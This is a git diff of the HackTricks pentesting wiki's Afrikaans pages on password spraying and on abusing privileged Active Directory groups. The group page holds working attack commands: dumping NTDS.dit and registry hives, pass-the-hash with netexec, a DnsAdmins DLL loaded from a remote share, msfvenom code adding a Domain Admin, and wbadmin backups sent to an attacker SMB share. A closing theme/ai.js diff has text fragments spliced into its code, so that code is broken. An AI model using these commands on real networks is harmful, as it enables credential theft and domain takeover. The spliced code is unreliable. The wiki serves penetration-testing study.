LDAP-gedrewe targeting, 'n patroon-enjin, en beleidsbewustheid (domain policy + PSOs + badPwdCount buffer) om presies en veilig te spray. Dit kan ook compromised principals in Neo4j merk vir BloodHound pathing. Sleutelidees: -- LDAP-gebruikersontdekking met paging en LDAPS-ondersteuning, opsioneel met aangepaste LDAP-filters. -- Domain lockout-beleid + PSO-bewuste filtering om 'n konfiguureerbare pogingbuffer (drempel) oor te laat en te verhoed dat gebruikers gelock word. -- Kerberos pre-auth validasie gebruik vinnige gssapi bindings (genereer 4768/4771 op DCs in plaas van 4625). -- Patroon-gebaseerde, per-gebruiker wagwoordgenerasie wat veranderlikes gebruik soos name en temporale waardes afgelei van elke gebruiker se pwdLastSet. -- Deursetbeheer met threads, jitter, en maksimum versoeke per sekonde. -- Opsionele Neo4j-integrasie om oorheersde gebruikers te merk vir BloodHound. +- LDAP-gebruikersontdekking met paginering en LDAPS-ondersteuning, opsioneel met aangepaste LDAP-filters. +- Domein lockout-beleid + PSO-bewuste filtering om 'n konfigureerbare pogingbuffer (drempel) te laat en te voorkom dat gebruikersrekeninge vergrendel word. +- Kerberos pre-auth-validasie met vinnige gssapi-bindings (genereer 4768/4771 op DCs in plaas van 4625). +- Patroongebaseerde, per-gebruiker wagwoordgenerering met veranderlikes soos name en tydwaardes afgelei van elke gebruiker se pwdLastSet. +- Beheer van throughput met threads, jitter en maksimum versoeke per sekonde. +- Opsionele Neo4j-integrasie om owned users te merk vir BloodHound. Basiese gebruik en ontdekking: ```bash @@ -176,12 +191,12 @@ Oorsig van die patroonstelsel (patterns.txt): ``` Beskikbare veranderlikes sluit in: - {name}, {samaccountname} -- Tydelike waardes van elke gebruiker se pwdLastSet (of whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} -- Samestellingshelpers en org-token: {separator}, {suffix}, {extra} +- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Composition helpers and org token: {separator}, {suffix}, {extra} Operasionele notas: -- Voorkeur om die PDC-emulator met -dc te bevraagteken om die mees gesaghebbende badPwdCount en beleidverwante inligting te lees. -- badPwdCount-herstellings word geaktiveer op die volgende poging ná die waarnemingsvenster; gebruik drempelwaardes en tydsberekening om veilig te bly. +- Gee voorkeur aan om die PDC-emulator met -dc te bevraagteken om die mees gesaghebbende badPwdCount en beleidsverwante inligting te lees. +- badPwdCount-herstellings word geaktiveer by die volgende poging na die waarnemingsvenster; gebruik drempel en tydsberekening om veilig te bly. - Kerberos pre-auth-pogings verskyn as 4768/4771 in DC-telemetrie; gebruik jitter en rate-limiting om in te meng. > Wenk: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. @@ -227,6 +242,7 @@ Om enige van hierdie gereedskap te gebruik, het jy 'n gebruikerslys en 'n passwo - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) - [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) +- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md index 674f250a5..b4b04366b 100644 --- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md +++ b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md @@ -1,60 +1,60 @@ -# Privileged Groups +# Bevoorregte Groepe {{#include ../../banners/hacktricks-training.md}} -## Goed bekende groepe met administratiewe voorregte +## Bekende groepe met administratiewe bevoegdhede - **Administrators** - **Domain Admins** - **Enterprise Admins** -## Rekening Operateurs +## Account Operators -Hierdie groep is gemagtig om rekeninge en groepe te skep wat nie administrateurs op die domein is nie. Boonop stel dit plaaslike aanmelding op die Domeinbeheerder (DC) in staat. +Hierdie groep het die bevoegdheid om rekeninge en groepe te skep wat nie administrateurs op die domein is nie. Daarbenewens laat dit plaaslike aanmelding op die Domain Controller (DC) toe. Om die lede van hierdie groep te identifiseer, word die volgende opdrag uitgevoer: ```bash Get-NetGroupMember -Identity "Account Operators" -Recurse ``` -Adding new users is toegelaat, sowel as plaaslike aanmelding by DC01. +Dit is toegelaat om nuwe gebruikers by te voeg, sowel as plaaslike aanmelding op die DC. ## AdminSDHolder groep -Die **AdminSDHolder** groep se Toegangsbeheerlis (ACL) is van kardinale belang aangesien dit toestemmings vir alle "beskermde groepe" binne Active Directory stel, insluitend hoë-privilege groepe. Hierdie meganisme verseker die sekuriteit van hierdie groepe deur ongeoorloofde wysigings te voorkom. +Die Access Control List (ACL) van die **AdminSDHolder** groep is van kardinale belang aangesien dit toestemmings stel vir alle "beskermde groepe" binne Active Directory, insluitend groepe met hoë voorregte. Hierdie meganisme verseker die veiligheid van hierdie groepe deur ongemagtigde wysigings te voorkom. -'n Aanvaller kan hiervan gebruik maak deur die **AdminSDHolder** groep se ACL te wysig, wat volle toestemmings aan 'n standaard gebruiker toeken. Dit sou daardie gebruiker effektief volle beheer oor alle beskermde groepe gee. As hierdie gebruiker se toestemmings gewysig of verwyder word, sal dit binne 'n uur outomaties hersteld word weens die stelsel se ontwerp. +'n aanvaller kan hiervan voordeel trek deur die ACL van die **AdminSDHolder** groep te wysig en 'n standaard gebruiker volle regte te gee. Dit sou daardie gebruiker effektief volle beheer oor al die beskermde groepe gee. As hierdie gebruiker se regte gewysig of verwyder word, sal dit weens die stelselontwerp binne 'n uur outomaties herstel word. -Opdragte om die lede te hersien en toestemmings te wysig sluit in: +Kommando's om die lede te bekyk en toestemmings te wysig sluit in: ```bash Get-NetGroupMember -Identity "AdminSDHolder" -Recurse Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} ``` -'n Skrip is beskikbaar om die herstelproses te versnel: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). +Daar is 'n script beskikbaar om die herstelproses te versnel: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). Vir meer besonderhede, besoek [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence). -## AD Herwinningsblik +## AD Recycle Bin -Lidmaatskap in hierdie groep maak dit moontlik om geleesde aktiewe gidsobjekte te lees, wat sensitiewe inligting kan onthul: +Lidmaatskap van hierdie groep laat toe dat verwyderde Active Directory-objekte gelees word, wat sensitiewe inligting kan openbaar: ```bash Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ``` -### Domeinbeheerder Toegang +### Toegang tot die Domain Controller -Toegang tot lêers op die DC is beperk tensy die gebruiker deel is van die `Server Operators` groep, wat die vlak van toegang verander. +Toegang tot lêers op die DC is beperk tensy die gebruiker deel is van die `Server Operators`-groep, wat die toegangsvlak verander. ### Privilege Escalation -Deur `PsService` of `sc` van Sysinternals te gebruik, kan 'n mens diensregte inspekteer en wysig. Die `Server Operators` groep het byvoorbeeld volle beheer oor sekere dienste, wat die uitvoering van arbitrêre opdragte en privilege escalasie moontlik maak: +Deur `PsService` of `sc` van Sysinternals te gebruik, kan 'n mens dienspermissies inspekteer en wysig. Die `Server Operators`-groep het byvoorbeeld volle beheer oor sekere dienste, wat die uitvoering van arbitrêre opdragte en privilege escalation toelaat: ```cmd C:\> .\PsService.exe security AppReadiness ``` -Hierdie opdrag onthul dat `Server Operators` volle toegang het, wat die manipulasie van dienste vir verhoogde voorregte moontlik maak. +Hierdie opdrag openbaar dat `Server Operators` volle toegang het, wat die manipulering van dienste vir verhoogde regte moontlik maak. ## Backup Operators -Lidmaatskap in die `Backup Operators` groep bied toegang tot die `DC01` lêerstelsel as gevolg van die `SeBackup` en `SeRestore` voorregte. Hierdie voorregte stel vouer deurloop, lysing, en lêer kopieer vermoëns in staat, selfs sonder eksplisiete toestemmings, met die gebruik van die `FILE_FLAG_BACKUP_SEMANTICS` vlag. Dit is nodig om spesifieke skrifte vir hierdie proses te gebruik. +Lidmaatskap van die `Backup Operators`-groep verleen toegang tot die `DC01` lêerstelsel as gevolg van die `SeBackup` en `SeRestore` voorregte. Hierdie voorregte laat toe om deur gidse te navigeer, lyste te genereer en lêers te kopieer, selfs sonder eksplisiete toestemmings, deur die `FILE_FLAG_BACKUP_SEMANTICS` vlag te gebruik. Die gebruik van spesifieke skripte is nodig vir hierdie proses. Om groepslede te lys, voer uit: ```bash @@ -62,9 +62,9 @@ Get-NetGroupMember -Identity "Backup Operators" -Recurse ``` ### Plaaslike Aanval -Om hierdie voorregte plaaslik te benut, word die volgende stappe gebruik: +Om hierdie voorregte plaaslik te benut, word die volgende stappe uitgevoer: -1. Importeer nodige biblioteke: +1. Importeer die nodige biblioteke: ```bash Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeCmdLets.dll @@ -74,18 +74,18 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll Set-SeBackupPrivilege Get-SeBackupPrivilege ``` -3. Toegang tot en kopieer lêers vanaf beperkte gidse, byvoorbeeld: +3. Verkry toegang tot en kopieer lêers uit beperkte gidse, byvoorbeeld: ```bash dir C:\Users\Administrator\ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite ``` ### AD-aanval -Direkte toegang tot die Domeinbeheerder se lêerstelsel maak die diefstal van die `NTDS.dit` databasis moontlik, wat alle NTLM-hashes vir domein gebruikers en rekenaars bevat. +Direkte toegang tot die Domain Controller se lêerstelsel maak die diefstal van die `NTDS.dit` databasis moontlik, wat alle NTLM-hashes vir domeingebruikers en rekenaars bevat. #### Gebruik diskshadow.exe -1. Skep 'n skaduwee-kopie van die `C` skyf: +1. Skep 'n shadow copy van die `C` drive: ```cmd diskshadow.exe set verbose on @@ -98,27 +98,35 @@ expose %cdrive% F: end backup exit ``` -2. Kopieer `NTDS.dit` van die skadu kopie: +2. Kopieer `NTDS.dit` vanaf die shadow copy: ```cmd Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit ``` -Alternatiewelik, gebruik `robocopy` vir lêer kopieer: +Alternatiewelik, gebruik `robocopy` om lêers te kopieer: ```cmd robocopy /B F:\Windows\NTDS .\ntds ntds.dit ``` -3. Trek `SYSTEM` en `SAM` uit vir hash-herwinning: +3. Onttrek `SYSTEM` en `SAM` vir die verkryging van hashes: ```cmd reg save HKLM\SYSTEM SYSTEM.SAV reg save HKLM\SAM SAM.SAV ``` -4. Verkry alle hashes van `NTDS.dit`: +4. Haal alle hashes uit `NTDS.dit`: ```shell-session secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL ``` +5. Na-uittrekking: Pass-the-Hash na DA +```bash +# Use the recovered Administrator NT hash to authenticate without the cleartext password +netexec winrm -u Administrator -H -x "whoami" + +# Or execute via SMB using an exec method +netexec smb -u Administrator -H --exec-method smbexec -x cmd +``` #### Gebruik wbadmin.exe -1. Stel NTFS-lêerstelsel op vir SMB-bediener op die aanvaller masjien en kas SMB-akkrediteer op die teiken masjien. -2. Gebruik `wbadmin.exe` vir stelselsrugsteun en `NTDS.dit` ekstraksie: +1. Stel 'n NTFS-lêerstelsel in vir 'n SMB server op die aanvallermasjien en kas SMB-aanmeldbewyse op die teikenmasjien. +2. Gebruik `wbadmin.exe` vir stelsel-rugsteun en die onttrekking van `NTDS.dit`: ```cmd net use X: \\\sharename /user:smbuser password echo "Y" | wbadmin start backup -backuptarget:\\\sharename -include:c:\windows\ntds @@ -126,23 +134,29 @@ wbadmin get versions echo "Y" | wbadmin start recovery -version: -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl ``` -Vir 'n praktiese demonstrasie, sien [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). +For a practical demonstration, see [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). ## DnsAdmins -Lede van die **DnsAdmins** groep kan hul voorregte benut om 'n arbitrêre DLL met SYSTEM voorregte op 'n DNS-bediener te laai, wat dikwels op Domein Beheerders gehos te word. Hierdie vermoë bied 'n beduidende uitbuitingspotensiaal. +Lede van die **DnsAdmins** groep kan hul voorregte misbruik om 'n arbitrêre DLL met SYSTEM-voorregte op 'n DNS-bediener te laai, wat dikwels op Domain Controllers gehuisves word. Hierdie vermoë bied aansienlike eksploitasiemoontlikhede. -Om lede van die DnsAdmins-groep te lys, gebruik: +Om lede van die DnsAdmins groep te lys, gebruik: ```bash Get-NetGroupMember -Identity "DnsAdmins" -Recurse ``` -### Voer arbitrêre DLL uit +### Voer willekeurige DLL uit (CVE‑2021‑40469) -Lede kan die DNS-bediener laat laai 'n arbitrêre DLL (of plaaslik of vanaf 'n afstandsdeel) met behulp van opdragte soos: +> [!NOTE] +> Hierdie kwesbaarheid maak die uitvoering van willekeurige kode met SYSTEM-bevoegdhede in die DNS-diens moontlik (gewoonlik binne die DCs). Hierdie probleem is in 2021 opgelos. + +Lede kan die DNS-bediener 'n willekeurige DLL laat laai (hetsy plaaslik of vanaf 'n afgeleë share) deur opdragte soos: ```bash dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage: + +# If dnscmd is not installed run from aprivileged PowerShell session: +Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools ``` ```c @@ -158,86 +172,90 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma // Generate DLL with msfvenom msfvenom -p windows/x64/exec cmd='net group "domain admins" /add /domain' -f dll -o adduser.dll ``` -Herbegin van die DNS-diens (wat moontlik addisionele toestemmings vereis) is nodig vir die DLL om gelaai te word: +Om die DNS-diens te herbegin (wat addisionele toestemmings mag vereis) is nodig sodat die DLL gelaai kan word: ```csharp sc.exe \\dc01 stop dns sc.exe \\dc01 start dns ``` -Vir meer besonderhede oor hierdie aanvalsvector, verwys na ired.team. +Vir meer besonderhede oor hierdie aanvalvektor, verwys na ired.team. #### Mimilib.dll -Dit is ook haalbaar om mimilib.dll te gebruik vir opdraguitvoering, dit te wysig om spesifieke opdragte of omgekeerde shells uit te voer. [Kyk na hierdie pos](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) vir meer inligting. +Dit is ook moontlik om mimilib.dll te gebruik vir opdraguitvoering, deur dit te wysig om spesifieke opdragte of reverse shells uit te voer. [Kyk na hierdie pos](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) vir meer inligting. -### WPAD Rekord vir MitM +### WPAD-rekord vir MitM -DnsAdmins kan DNS-rekords manipuleer om Man-in-the-Middle (MitM) aanvalle uit te voer deur 'n WPAD-rekord te skep nadat die globale navraagbloklys gedeaktiveer is. Gereedskap soos Responder of Inveigh kan gebruik word om te spoof en netwerkverkeer te vang. +DnsAdmins kan DNS-rekords manipuleer om Man-in-the-Middle (MitM)-aanvalle uit te voer deur 'n WPAD-rekord te skep nadat die globale query-bloklys gedeaktiveer is. Gereedskap soos Responder of Inveigh kan gebruik word vir spoofing en om netwerkverkeer vas te vang. -### Event Log Readers -Lede kan toegang tot gebeurtenislogs verkry, wat moontlik sensitiewe inligting soos platte wagwoorde of besonderhede van opdraguitvoering kan bevat: +### Gebeurtenisloglesers +Lede kan toegang tot gebeurtenislogboeke kry en moontlik sensitiewe inligting vind, soos wagwoorde in platteks of besonderhede oor opdraguitvoering: ```bash # Get members and search logs for sensitive information Get-NetGroupMember -Identity "Event Log Readers" -Recurse Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} ``` -## Exchange Windows Permissies +## Exchange Windows Permissions -Hierdie groep kan DACLs op die domeinobjek wysig, wat moontlik DCSync-privileges toeken. Tegnieke vir privilege-eskalasie wat hierdie groep benut, word in die Exchange-AD-Privesc GitHub repo uiteengesit. +Hierdie groep kan DACLs op die domain object wysig, wat moontlik DCSync privileges kan verleen. Tegnieke vir privilege escalation wat hierdie groep uitbuit, word in die Exchange-AD-Privesc GitHub repo uiteengesit. ```bash # List members Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse ``` ## Hyper-V Administrators -Hyper-V Administrators het volle toegang tot Hyper-V, wat benut kan word om beheer oor virtualiseerde Domein Beheerders te verkry. Dit sluit die kloon van lewende DB's in en die onttrekking van NTLM hashes uit die NTDS.dit-lêer. +Hyper-V Administrators het volle toegang tot Hyper-V, wat misbruik kan word om beheer oor gevirtualiseerde Domain Controllers te verkry. Dit sluit in die kloon van lewende DCs en die onttrekking van NTLM-hashes uit die NTDS.dit-lêer. ### Exploitation Example -Firefox se Mozilla Maintenance Service kan deur Hyper-V Administrators benut word om opdragte as SYSTEM uit te voer. Dit behels die skep van 'n harde skakel na 'n beskermde SYSTEM-lêer en dit vervang met 'n kwaadwillige uitvoerbare lêer: +Firefox's Mozilla Maintenance Service kan deur Hyper-V Administrators uitgebuit word om opdragte as SYSTEM uit te voer. Dit behels die skep van 'n hard link na 'n beskermde SYSTEM-lêer en dit te vervang met 'n kwaadwillige uitvoerbare lêer: ```bash # Take ownership and start the service takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe sc.exe start MozillaMaintenance ``` -Let wel: Hard link uitbuiting is in onlangse Windows-opdaterings gemitigeer. +Nota: Hard link exploitation is in onlangse Windows-opdaterings gemitigeer. -## Organisasie Bestuur +## Group Policy Creators Owners -In omgewings waar **Microsoft Exchange** ontplooi is, hou 'n spesiale groep bekend as **Organisasie Bestuur** beduidende vermoëns. Hierdie groep het die voorreg om **toegang te verkry tot die posbusse van alle domein gebruikers** en handhaaf **volledige beheer oor die 'Microsoft Exchange Veiligheidsgroepe'** Organisatoriese Eenheid (OU). Hierdie beheer sluit die **`Exchange Windows Permissions`** groep in, wat uitgebuit kan word vir voorregverhoging. +Hierdie groep laat lede toe om Group Policies in die domein te skep. Hulle lede kan egter nie Group Policies op gebruikers of groepe toepas nie, of bestaande GPOs wysig. -### Voorreg Uitbuiting en Opdragte +## Organization Management -#### Druk Operateurs +In omgewings waar **Microsoft Exchange** ontplooi is, het 'n spesiale groep bekend as **Organization Management** betekenisvolle bevoegdhede. Hierdie groep het die voorreg om **toegang tot die posbusse van alle domeingebruikers** te kry en behou **volledige beheer oor die 'Microsoft Exchange Security Groups'** Organizational Unit (OU). Hierdie beheer sluit die **`Exchange Windows Permissions`** groep in, wat uitgebuit kan word vir privilege escalation. -Lede van die **Druk Operateurs** groep is toegerus met verskeie voorregte, insluitend die **`SeLoadDriverPrivilege`**, wat hulle toelaat om **lokaal aan te meld by 'n Domein Beheerder**, dit af te sluit, en drukkers te bestuur. Om hierdie voorregte uit te buit, veral as **`SeLoadDriverPrivilege`** nie sigbaar is onder 'n nie-verhoogde konteks nie, is dit nodig om die Gebruikersrekeningbeheer (UAC) te omseil. +### Privilege Exploitation and Commands + +#### Print Operators + +Lede van die **Print Operators** groep beskik oor verskeie voorregte, insluitend die **`SeLoadDriverPrivilege`**, wat hulle toelaat om **lokaal aan te meld op 'n Domain Controller'**, dit af te skakel, en drukkers te bestuur. Om hierdie voorregte te benut, veral as **`SeLoadDriverPrivilege`** nie in 'n nie-verhoogde konteks sigbaar is nie, is dit nodig om User Account Control (UAC) te omseil. Om die lede van hierdie groep te lys, word die volgende PowerShell-opdrag gebruik: ```bash Get-NetGroupMember -Identity "Print Operators" -Recurse ``` -Vir meer gedetailleerde uitbuitingstegnieke rakende **`SeLoadDriverPrivilege`**, moet 'n mens spesifieke sekuriteitsbronne raadpleeg. +Vir meer gedetailleerde uitbuitingsmetodes verwant aan **`SeLoadDriverPrivilege`**, behoort mens spesifieke sekuriteitsbronne te raadpleeg. #### Remote Desktop Users -Die lede van hierdie groep word toegang tot rekenaars via Remote Desktop Protocol (RDP) toegestaan. Om hierdie lede te tel, is PowerShell-opdragte beskikbaar: +Lede van hierdie groep kry toegang tot rekenaars via Remote Desktop Protocol (RDP). Om hierdie lede te lys, is daar PowerShell-opdragte beskikbaar: ```bash Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Desktop Users" ``` -Verder insigte in die ontginning van RDP kan gevind word in toegewyde pentesting hulpbronne. +Verder insigte oor die uitbuiting van RDP kan in toegewyde pentesting-hulpbronne gevind word. -#### Afgeleë Bestuur Gebruikers +#### Gebruikers vir afstandsbestuur -Lede kan toegang tot rekenaars verkry oor **Windows Remote Management (WinRM)**. Opname van hierdie lede word bereik deur: +Lede kan toegang tot rekenaars kry via **Windows Remote Management (WinRM)**. Enumeration van hierdie lede word bereik deur: ```bash Get-NetGroupMember -Identity "Remote Management Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Management Users" ``` -Vir eksploitasiemetodes wat verband hou met **WinRM**, moet spesifieke dokumentasie geraadpleeg word. +Vir eksplorasietegnieke verwant aan **WinRM**, moet spesifieke dokumentasie geraadpleeg word. -#### Bediener Operateurs +#### Bediener-operateurs -Hierdie groep het regte om verskeie konfigurasies op Domein Beheerders uit te voer, insluitend rugsteun- en herstelregte, die verandering van stelseltijd, en die afsluiting van die stelsel. Om die lede te tel, is die opdrag wat verskaf word: +Hierdie groep het toestemming om verskeie konfigurasies op Domeincontrollers uit te voer, insluitend rugsteun- en herstelbevoegdhede, om die stelseltyd te verander en om die stelsel af te skakel. Om die lede te lys, is die opdrag wat gegee word: ```bash Get-NetGroupMember -Identity "Server Operators" -Recurse ``` @@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse - [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys) - [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e) - [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html) +- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 9de4ec902..761454181 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -5,7 +5,10 @@ (() => { const KEY = 'htSummerDiscountsDismissed'; - const IMG = '/images/discount.jpeg'; + const IMG = '/ima * HackTricks AI Chat Widget v1.17 – enhanced resizable sidebar + * --------------------------------------------------- + * ❶ Markdown rendering + sanitised (same as before) + * ❷ ENHANCED: improved drag‑to‑resize panel with better UXdiscount.jpeg'; const TXT = 'Click here for HT Summer Discounts, Last Days!'; const URL = 'https://training.hacktricks.xyz'; @@ -13,7 +16,20 @@ if (localStorage.getItem(KEY) === 'true') return; // Quick helper - const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); + const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = ` +
+ HackTricks AI Chat + ↔ Drag edge to resize +
+ + +
+
+
+
+ + +
`;tag), { style: css }); // --- Overlay (blur + dim) --- const overlay = $('div', ` @@ -111,7 +127,7 @@ const MAX_CONTEXT = 3000; // highlighted‑text char limit const MAX_QUESTION = 500; // question char limit const MIN_W = 250; // ← resize limits → - const MAX_W = 600; + const MAX_W = 800; const DEF_W = 350; // default width (if nothing saved) const TOOLTIP_TEXT = "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it"; @@ -345,8 +361,9 @@ #ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif} #ht-ai-panel.open{transform:translateX(0)} @media(max-width:768px){#ht-ai-panel{display:none}} -#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333} -#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center} +#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap} +#ht-ai-header strong{flex-shrink:0} +#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto} #ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0} #ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7} #ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px} @@ -367,8 +384,10 @@ ::selection{background:#ffeb3b;color:#000} ::-moz-selection{background:#ffeb3b;color:#000} /* NEW: resizer handle */ -#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent} -#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`; +#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease} +#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)} +#ht-ai-resizer:active{background:rgba(255,255,255,.25)} +#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`; const s = document.createElement("style"); s.id = "ht-ai-style"; s.textContent = css; @@ -432,24 +451,43 @@ const onMove = (e) => { if (!dragging) return; - const dx = startX - e.clientX; // dragging leftwards ⇒ +dx + e.preventDefault(); + const clientX = e.clientX || (e.touches && e.touches[0].clientX); + const dx = startX - clientX; // dragging leftwards ⇒ +dx let newW = startW + dx; newW = Math.min(Math.max(newW, MIN_W), MAX_W); panel.style.width = newW + "px"; }; + const onUp = () => { if (!dragging) return; dragging = false; + handle.style.background = ""; + document.body.style.userSelect = ""; + document.body.style.cursor = ""; localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10)); document.removeEventListener("mousemove", onMove); document.removeEventListener("mouseup", onUp); + document.removeEventListener("touchmove", onMove); + document.removeEventListener("touchend", onUp); }; - handle.addEventListener("mousedown", (e) => { + + const onStart = (e) => { + e.preventDefault(); dragging = true; - startX = e.clientX; + startX = e.clientX || (e.touches && e.touches[0].clientX); startW = parseInt(window.getComputedStyle(panel).width, 10); + handle.style.background = "rgba(255,255,255,.25)"; + document.body.style.userSelect = "none"; + document.body.style.cursor = "ew-resize"; + document.addEventListener("mousemove", onMove); document.addEventListener("mouseup", onUp); - }); + document.addEventListener("touchmove", onMove, { passive: false }); + document.addEventListener("touchend", onUp); + }; + + handle.addEventListener("mousedown", onStart); + handle.addEventListener("touchstart", onStart, { passive: false }); } })();